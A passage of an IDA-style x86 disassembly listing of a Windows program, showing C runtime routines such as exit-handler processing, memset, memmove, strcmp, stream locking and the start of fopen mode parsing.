sub_407DBB	proc near		; CODE XREF: sub_407E89+8p
					; sub_407E9A+8p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00407E83 SIZE 00000006 BYTES

		push	0Ch
		push	offset dword_421808
		call	__SEH_prolog4
		push	8
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		xor	esi, esi
		inc	esi
		cmp	dword_4279F8, esi
		jz	short loc_407E49
		mov	dword_4279F4, esi
		mov	al, byte ptr [ebp+arg_8]
		mov	byte_4279F0, al
		cmp	[ebp+arg_4], 0
		jnz	short loc_407E39
		push	dword_436830
		call	sub_405543
		mov	edi, eax
		push	dword_43682C
		call	sub_405543
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		test	edi, edi
		jz	short loc_407E29

loc_407E13:				; CODE XREF: sub_407DBB+68j
					; sub_407DBB+6Cj
		sub	[ebp+var_1C], 4
		cmp	[ebp+var_1C], edi
		jb	short loc_407E29
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_407E13
		call	eax
		jmp	short loc_407E13
; ---------------------------------------------------------------------------

loc_407E29:				; CODE XREF: sub_407DBB+56j
					; sub_407DBB+5Fj
		push	offset dword_41D2FC
		mov	eax, offset dword_41D2F0
		call	sub_407C7E
		pop	ecx

loc_407E39:				; CODE XREF: sub_407DBB+35j
		push	offset dword_41D308
		mov	eax, offset dword_41D300
		call	sub_407C7E
		pop	ecx

loc_407E49:				; CODE XREF: sub_407DBB+21j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_407E74
		cmp	[ebp+arg_8], 0
		jnz	short loc_407E83
		mov	dword_4279F8, esi
		push	8
		call	sub_405CCF
		pop	ecx
		push	[ebp+arg_0]
		call	sub_407C57

loc_407E71:				; DATA XREF: c.7ld2ih:00421820o
		xor	esi, esi
		inc	esi
sub_407DBB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407E74	proc near		; CODE XREF: sub_407DBB+95p
		cmp	dword ptr [ebp+10h], 0
		jz	short locret_407E82
		push	8
		call	sub_405CCF
		pop	ecx

locret_407E82:				; CODE XREF: sub_407E74+4j
		retn
sub_407E74	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407DBB

loc_407E83:				; CODE XREF: sub_407DBB+9Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_407DBB

; =============== S U B	R O U T	I N E =======================================



sub_407E89	proc near		; CODE XREF: .text:00404473p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_407DBB
		add	esp, 0Ch
		retn
sub_407E89	endp


; =============== S U B	R O U T	I N E =======================================



sub_407E9A	proc near		; CODE XREF: .text:004044A3p
					; sub_40E0D9+D9p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_407DBB
		add	esp, 0Ch
		retn
sub_407E9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_407EAB	proc near		; CODE XREF: .text:loc_404478p
		push	1
		push	0
		push	0
		call	sub_407DBB
		add	esp, 0Ch
		retn
sub_407EAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_407EBA	proc near		; CODE XREF: .text:loc_4044A8p
		push	1
		push	1
		push	0
		call	sub_407DBB
		add	esp, 0Ch
		retn
sub_407EBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_407EC9	proc near		; CODE XREF: sub_405886+C4p
		push	esi
		call	sub_40553A
		mov	esi, eax
		push	esi
		call	sub_408408
		push	esi
		call	sub_40CEAA
		push	esi
		call	sub_4031F3
		push	esi
		call	sub_40E293
		push	esi
		call	sub_40E289
		push	esi
		call	sub_40E07F
		push	esi
		call	nullsub_444
		push	esi
		call	sub_40C28B
		push	offset sub_407E9A
		call	sub_4054D7
		add	esp, 24h
		mov	off_423930, eax
		pop	esi
		retn
sub_407EC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F15	proc near		; CODE XREF: sub_4031FD+CEp
					; sub_4032F9+18p ...
		and	dword_436824, 0
		retn
sub_407F15	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407F20	proc near		; CODE XREF: sub_40177B+4Ap
					; sub_40177B+5Ep ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_407F95
		xor	eax, eax
		mov	al, [esp+arg_4]
		test	al, al
		jnz	short loc_407F4C
		cmp	edx, 100h
		jb	short loc_407F4C
		cmp	dword_4356E0, 0
		jz	short loc_407F4C
		jmp	sub_40E2F4
; ---------------------------------------------------------------------------

loc_407F4C:				; CODE XREF: sub_407F20+14j
					; sub_407F20+1Cj ...
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_407F85
		neg	ecx
		and	ecx, 3
		jz	short loc_407F67
		sub	edx, ecx

loc_407F5D:				; CODE XREF: sub_407F20+45j
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_407F5D

loc_407F67:				; CODE XREF: sub_407F20+39j
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_407F85
		rep stosd
		test	edx, edx
		jz	short loc_407F8F

loc_407F85:				; CODE XREF: sub_407F20+32j
					; sub_407F20+5Dj ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_407F85

loc_407F8F:				; CODE XREF: sub_407F20+63j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_407F95:				; CODE XREF: sub_407F20+Aj
		mov	eax, [esp+arg_0]
		retn
sub_407F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FA0	proc near		; CODE XREF: sub_403332+43p
					; sub_409188+35p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_407FC0
		cmp	edi, eax
		jb	loc_408164

loc_407FC0:				; CODE XREF: sub_407FA0+16j
		cmp	ecx, 100h
		jb	short loc_407FE7
		cmp	dword_4356E0, 0
		jz	short loc_407FE7
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_407FE7
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_40DC1C
; ---------------------------------------------------------------------------

loc_407FE7:				; CODE XREF: sub_407FA0+26j
					; sub_407FA0+2Fj ...
		test	edi, 3
		jnz	short loc_408004
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_408024
		rep movsd
		jmp	ds:off_408114[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_408004:				; CODE XREF: sub_407FA0+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40801C
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_408024+4[eax*4]
; ---------------------------------------------------------------------------

loc_40801C:				; CODE XREF: sub_407FA0+6Ej
		jmp	dword ptr ds:loc_408124[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_408024:				; CODE XREF: sub_407FA0+58j
					; sub_407FA0+B6j ...
		jmp	ds:off_4080A8[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_408038
		dd offset loc_408064
		dd offset loc_408088
; ---------------------------------------------------------------------------

loc_408038:				; DATA XREF: sub_407FA0+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_408024
		rep movsd
		jmp	ds:off_408114[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_408064:				; DATA XREF: sub_407FA0+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_408024
		rep movsd
		jmp	ds:off_408114[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_408088:				; DATA XREF: sub_407FA0+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_408024
		rep movsd
		jmp	ds:off_408114[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4080A8	dd offset loc_40810B	; DATA XREF: sub_407FA0:loc_408024r
		dd offset loc_4080F8
		dd offset loc_4080F0
		dd offset loc_4080E8
		dd offset loc_4080E0
		dd offset loc_4080D8
		dd offset loc_4080D0
		dd offset loc_4080C8
; ---------------------------------------------------------------------------

loc_4080C8:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4080D0:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4080D8:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4080E0:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4080E8:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4080F0:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4080F8:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_40810B:				; CODE XREF: sub_407FA0:loc_408024j
					; DATA XREF: sub_407FA0:off_4080A8o
		jmp	ds:off_408114[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_408114	dd offset loc_408124	; DATA XREF: sub_407FA0+5Cr
					; sub_407FA0+BAr ...
		dd offset loc_40812C
		dd offset loc_408138
		dd offset loc_40814C
; ---------------------------------------------------------------------------

loc_408124:				; CODE XREF: sub_407FA0+5Cj
					; sub_407FA0+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40812C:				; CODE XREF: sub_407FA0+5Cj
					; sub_407FA0+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_408138:				; CODE XREF: sub_407FA0+5Cj
					; sub_407FA0+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40814C:				; CODE XREF: sub_407FA0+5Cj
					; sub_407FA0+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_408164:				; CODE XREF: sub_407FA0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_408198
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40818C
		std
		rep movsd
		cld
		jmp	ds:off_4082B0[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40818C:				; CODE XREF: sub_407FA0+1DDj
					; sub_407FA0+238j ...
		neg	ecx
		jmp	ds:off_408260[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_408198:				; CODE XREF: sub_407FA0+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4081B0
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4081B0+4[eax*4]
; ---------------------------------------------------------------------------

loc_4081B0:				; CODE XREF: sub_407FA0+202j
					; DATA XREF: sub_407FA0+209r
		jmp	ds:off_4082B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4081C4
		dd offset loc_4081E8
		dd offset loc_408210
; ---------------------------------------------------------------------------

loc_4081C4:				; DATA XREF: sub_407FA0+218o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40818C
		std
		rep movsd
		cld
		jmp	ds:off_4082B0[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4081E8:				; DATA XREF: sub_407FA0+21Co
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40818C
		std
		rep movsd
		cld
		jmp	ds:off_4082B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_408210:				; DATA XREF: sub_407FA0+220o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40818C
		std
		rep movsd
		cld
		jmp	ds:off_4082B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_408264
		dd offset loc_40826C
		dd offset loc_408274
		dd offset loc_40827C
		dd offset loc_408284
		dd offset loc_40828C
		dd offset loc_408294
off_408260	dd offset loc_4082A7	; DATA XREF: sub_407FA0+1EEr
; ---------------------------------------------------------------------------

loc_408264:				; DATA XREF: sub_407FA0+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_40826C:				; DATA XREF: sub_407FA0+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_408274:				; DATA XREF: sub_407FA0+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_40827C:				; DATA XREF: sub_407FA0+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_408284:				; DATA XREF: sub_407FA0+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_40828C:				; DATA XREF: sub_407FA0+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_408294:				; DATA XREF: sub_407FA0+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4082A7:				; CODE XREF: sub_407FA0+1EEj
					; DATA XREF: sub_407FA0:off_408260o
		jmp	ds:off_4082B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4082B0	dd offset loc_4082C0	; DATA XREF: sub_407FA0+1E3r
					; sub_407FA0:loc_4081B0r ...
		dd offset loc_4082C8
		dd offset loc_4082D8
		dd offset loc_4082EC
; ---------------------------------------------------------------------------

loc_4082C0:				; CODE XREF: sub_407FA0+1E3j
					; sub_407FA0:loc_4081B0j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4082C8:				; CODE XREF: sub_407FA0+1E3j
					; sub_407FA0:loc_4081B0j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4082D8:				; CODE XREF: sub_407FA0+1E3j
					; sub_407FA0:loc_4081B0j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4082EC:				; CODE XREF: sub_407FA0+1E3j
					; sub_407FA0:loc_4081B0j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_407FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408305	proc near		; CODE XREF: sub_4033AD+7p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421828
		call	__SEH_prolog4
		push	0Eh
		call	sub_405DA7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_408356
		mov	eax, dword_427A00
		mov	edx, offset dword_4279FC

loc_408331:				; CODE XREF: sub_408305+65j
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_408349
		cmp	[eax], ecx
		jnz	short loc_408368
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		push	eax
		call	sub_4039C3
		pop	ecx

loc_408349:				; CODE XREF: sub_408305+31j
		push	dword ptr [esi+4]
		call	sub_4039C3
		pop	ecx
		and	dword ptr [esi+4], 0

loc_408356:				; CODE XREF: sub_408305+20j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40836C
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_408368:				; CODE XREF: sub_408305+35j
		mov	edx, eax
		jmp	short loc_408331
sub_408305	endp


; =============== S U B	R O U T	I N E =======================================



sub_40836C	proc near		; CODE XREF: sub_408305+58p
					; DATA XREF: c.7ld2ih:00421840o
		push	0Eh
		call	sub_405CCF
		pop	ecx
		retn
sub_40836C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408380	proc near		; CODE XREF: sub_4033D7+Cp
					; sub_40B5AB+25p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_4083CC

loc_408390:				; CODE XREF: sub_408380+3Cj
					; sub_408380+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_4083C4
		or	al, al
		jz	short loc_4083C0
		cmp	ah, [ecx+1]
		jnz	short loc_4083C4
		or	ah, ah
		jz	short loc_4083C0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_4083C4
		or	al, al
		jz	short loc_4083C0
		cmp	ah, [ecx+3]
		jnz	short loc_4083C4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_408390
		mov	edi, edi

loc_4083C0:				; CODE XREF: sub_408380+18j
					; sub_408380+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4083C4:				; CODE XREF: sub_408380+14j
					; sub_408380+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_4083CC:				; CODE XREF: sub_408380+Ej
		test	edx, 1
		jz	short loc_4083EC
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_4083C4
		add	ecx, 1
		or	al, al
		jz	short loc_4083C0
		test	edx, 2
		jz	short loc_408390

loc_4083EC:				; CODE XREF: sub_408380+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_4083C4
		or	al, al
		jz	short loc_4083C0
		cmp	ah, [ecx+1]
		jnz	short loc_4083C4
		or	ah, ah
		jz	short loc_4083C0
		add	ecx, 2
		jmp	short loc_408390
sub_408380	endp


; =============== S U B	R O U T	I N E =======================================



sub_408408	proc near		; CODE XREF: sub_407EC9+9p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_427A04, eax
		retn
sub_408408	endp


; =============== S U B	R O U T	I N E =======================================



sub_408412	proc near		; CODE XREF: sub_40340B+Bp
					; sub_403AA0+8Cp ...

arg_0		= dword	ptr  4

		push	dword_427A04
		call	sub_405543
		test	eax, eax
		pop	ecx
		jz	short loc_408431
		push	[esp+arg_0]
		call	eax ; sub_41C8D9
		test	eax, eax
		pop	ecx
		jz	short loc_408431
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_408431:				; CODE XREF: sub_408412+Ej
					; sub_408412+19j
		xor	eax, eax
		retn
sub_408412	endp


; =============== S U B	R O U T	I N E =======================================



sub_408434	proc near		; CODE XREF: sub_406B86+76p
					; sub_406B86+82p ...
		mov	eax, offset off_423950
		retn
sub_408434	endp


; =============== S U B	R O U T	I N E =======================================



sub_40843A	proc near		; DATA XREF: c.7ld2ih:0041D2DCo
		mov	eax, dword_436820
		test	eax, eax
		push	esi
		push	14h
		pop	esi
		jnz	short loc_40844E
		mov	eax, 200h
		jmp	short loc_408454
; ---------------------------------------------------------------------------

loc_40844E:				; CODE XREF: sub_40843A+Bj
		cmp	eax, esi
		jge	short loc_408459
		mov	eax, esi

loc_408454:				; CODE XREF: sub_40843A+12j
		mov	dword_436820, eax

loc_408459:				; CODE XREF: sub_40843A+16j
		push	4
		push	eax
		call	sub_407B2A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_435800, eax
		jnz	short loc_40848A
		push	4
		push	esi
		mov	dword_436820, esi
		call	sub_407B2A
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword_435800, eax
		jnz	short loc_40848A
		push	1Ah
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40848A:				; CODE XREF: sub_40843A+30j
					; sub_40843A+49j
		xor	edx, edx
		mov	ecx, offset off_423950
		jmp	short loc_408498
; ---------------------------------------------------------------------------

loc_408493:				; CODE XREF: sub_40843A+6Dj
		mov	eax, dword_435800

loc_408498:				; CODE XREF: sub_40843A+57j
		mov	[edx+eax], ecx
		add	ecx, 20h
		add	edx, 4
		cmp	ecx, offset dword_423BD0
		jl	short loc_408493
		push	0FFFFFFFEh
		pop	esi
		xor	edx, edx
		mov	ecx, offset dword_423960
		push	edi

loc_4084B4:				; CODE XREF: sub_40843A+AAj
		mov	edi, edx
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, edx
		sar	eax, 5
		mov	eax, dword_435700[eax*4]
		mov	eax, [edi+eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084D8
		cmp	eax, esi
		jz	short loc_4084D8
		test	eax, eax
		jnz	short loc_4084DA

loc_4084D8:				; CODE XREF: sub_40843A+94j
					; sub_40843A+98j
		mov	[ecx], esi

loc_4084DA:				; CODE XREF: sub_40843A+9Cj
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4239C0
		jl	short loc_4084B4
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_40843A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4084EB	proc near		; DATA XREF: c.7ld2ih:0041D2F8o
		call	sub_409108
		cmp	byte_4279F0, 0
		jz	short loc_4084FE
		call	sub_40E383

loc_4084FE:				; CODE XREF: sub_4084EB+Cj
		push	dword_435800
		call	sub_4039C3
		pop	ecx
		retn
sub_4084EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40850B	proc near		; CODE XREF: sub_4035C7+4Fp
					; sub_403884+50p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_423950
		cmp	eax, ecx
		jb	short loc_40852F
		cmp	eax, offset dword_423BB0
		ja	short loc_40852F
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_405DA7
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_40852F:				; CODE XREF: sub_40850B+Bj
					; sub_40850B+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41D164	; RtlEnterCriticalSection
		retn
sub_40850B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40853A	proc near		; CODE XREF: sub_408851+66p
					; sub_40902E+46p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_40854E
		add	eax, 10h
		push	eax
		call	sub_405DA7
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_40854E:				; CODE XREF: sub_40853A+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41D164	; RtlEnterCriticalSection
		retn
sub_40853A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40855D	proc near		; CODE XREF: sub_4035AA+3p
					; sub_40370C+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_423950
		cmp	eax, ecx
		jb	short loc_408581
		cmp	eax, offset dword_423BB0
		ja	short loc_408581
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_405CCF
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_408581:				; CODE XREF: sub_40855D+Bj
					; sub_40855D+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41D168	; RtlLeaveCriticalSection
		retn
sub_40855D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40858C	proc near		; CODE XREF: sub_408851+7Dp
					; sub_4090D0+9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_4085A0
		add	eax, 10h
		push	eax
		call	sub_405CCF
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4085A0:				; CODE XREF: sub_40858C+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41D168	; RtlLeaveCriticalSection
		retn
sub_40858C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085AF	proc near		; CODE XREF: sub_4034F0+9Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_427EC4
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jmp	short loc_4085D0
; ---------------------------------------------------------------------------

loc_4085CF:				; CODE XREF: sub_4085AF+24j
		inc	esi

loc_4085D0:				; CODE XREF: sub_4085AF+1Ej
		cmp	byte ptr [esi],	20h
		jz	short loc_4085CF
		mov	al, [esi]
		cmp	al, 61h
		jz	short loc_408614
		cmp	al, 72h
		jz	short loc_40860B
		cmp	al, 77h
		jz	short loc_408602
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		xor	eax, eax
		jmp	loc_40884D
; ---------------------------------------------------------------------------

loc_408602:				; CODE XREF: sub_4085AF+32j
		mov	[ebp+arg_4], 301h
		jmp	short loc_40861B
; ---------------------------------------------------------------------------

loc_40860B:				; CODE XREF: sub_4085AF+2Ej
		or	[ebp+var_4], 1
		mov	[ebp+arg_4], ebx
		jmp	short loc_40861F
; ---------------------------------------------------------------------------

loc_408614:				; CODE XREF: sub_4085AF+2Aj
		mov	[ebp+arg_4], 109h

loc_40861B:				; CODE XREF: sub_4085AF+5Aj
		or	[ebp+var_4], 2

loc_40861F:				; CODE XREF: sub_4085AF+63j
		xor	ecx, ecx
		inc	ecx
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		push	edi
		jz	loc_4087E7
		mov	edx, 80h
		mov	edi, 4000h

loc_408638:				; CODE XREF: sub_4085AF+1B6j
		cmp	ecx, ebx
		jz	loc_40876B
		movsx	eax, al
		cmp	eax, 53h
		jg	loc_4086EE
		jz	loc_4086DC
		sub	eax, 20h
		jz	loc_408760
		sub	eax, 0Bh
		jz	short loc_4086B6
		dec	eax
		jz	short loc_4086AA
		sub	eax, 18h
		jz	short loc_408697
		sub	eax, 0Ah
		jz	short loc_40868F
		sub	eax, 4
		jnz	loc_4087F0
		cmp	[ebp+var_8], ebx
		jnz	loc_408755
		or	[ebp+arg_4], 10h
		mov	[ebp+var_8], 1
		jmp	loc_408760
; ---------------------------------------------------------------------------

loc_40868F:				; CODE XREF: sub_4085AF+BCj
		or	[ebp+arg_4], edx
